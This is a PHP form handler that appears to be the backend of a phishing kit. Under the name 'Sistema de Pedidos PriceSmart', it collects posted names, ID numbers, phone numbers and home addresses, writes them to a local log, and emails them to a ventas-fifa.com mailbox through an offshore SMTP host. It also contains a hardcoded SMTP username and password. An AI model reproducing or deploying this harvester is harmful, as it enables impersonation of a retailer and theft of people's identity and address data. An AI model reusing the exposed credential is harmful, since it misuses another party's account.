<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'vendor/PHPMailer/Exception.php';
require 'vendor/PHPMailer/PHPMailer.php';
require 'vendor/PHPMailer/SMTP.php';

header('Content-Type: application/json');

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $nombre = htmlspecialchars($_POST['nombre'] ?? '');
    $documento = htmlspecialchars($_POST['documento'] ?? '');
    $contacto = htmlspecialchars($_POST['contacto'] ?? '');
    $direccion = htmlspecialchars($_POST['direccion'] ?? '');
    $barrio = htmlspecialchars($_POST['barrio'] ?? '');
    $ciudad = htmlspecialchars($_POST['ciudad'] ?? '');
    $postal = htmlspecialchars($_POST['postal'] ?? '');
    $referencia = htmlspecialchars($_POST['referencia'] ?? '');
    
    // Log local
    $log = date('Y-m-d H:i:s') . " - $nombre - $documento - $contacto - $direccion, $barrio, $ciudad, $postal - Ref: $referencia\n";
    file_put_contents('pedidos.txt', $log, FILE_APPEND);

    $mail = new PHPMailer(true);
    try {
        $mail->isSMTP();
        $mail->Host       = 'ro8.flokinet.is';
        $mail->SMTPAuth   = true;
        $mail->Username   = 'support@ventas-fifa.com';
        $mail->Password   = 'L+tL{4_dp#q~W%(D';
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
        $mail->Port       = 465;

        $mail->setFrom('support@ventas-fifa.com', 'Sistema de Pedidos PriceSmart');
        $mail->addAddress('support@ventas-fifa.com', 'Admin');

        $mail->isHTML(true);
        $mail->Subject = 'Nueva Solicitud de Despacho - ' . $nombre;
        $mail->Body    = "<h2>SOLICITUD DE DATOS PARA DESPACHO DE MERCANCÍA</h2>
                          <p>Se ha recibido una nueva solicitud con los siguientes datos:</p>
                          <hr>
                          <table cellpadding='5'>
                            <tr><td><b>Nombre completo:</b></td><td>$nombre</td></tr>
                            <tr><td><b>Número de documento:</b></td><td>$documento</td></tr>
                            <tr><td><b>Número de contacto:</b></td><td>$contacto</td></tr>
                            <tr><td><b>Dirección exacta:</b></td><td>$direccion</td></tr>
                            <tr><td><b>Barrio:</b></td><td>$barrio</td></tr>
                            <tr><td><b>Ciudad/Municipio:</b></td><td>$ciudad</td></tr>
                            <tr><td><b>Código postal:</b></td><td>$postal</td></tr>
                            <tr><td><b>Referencia:</b></td><td>$referencia</td></tr>
                          </table>";

        $mail->send();
        echo json_encode(['success' => true]);
    } catch (Exception $e) {
        echo json_encode(['success' => false, 'error' => $mail->ErrorInfo]);
    }
}
?>
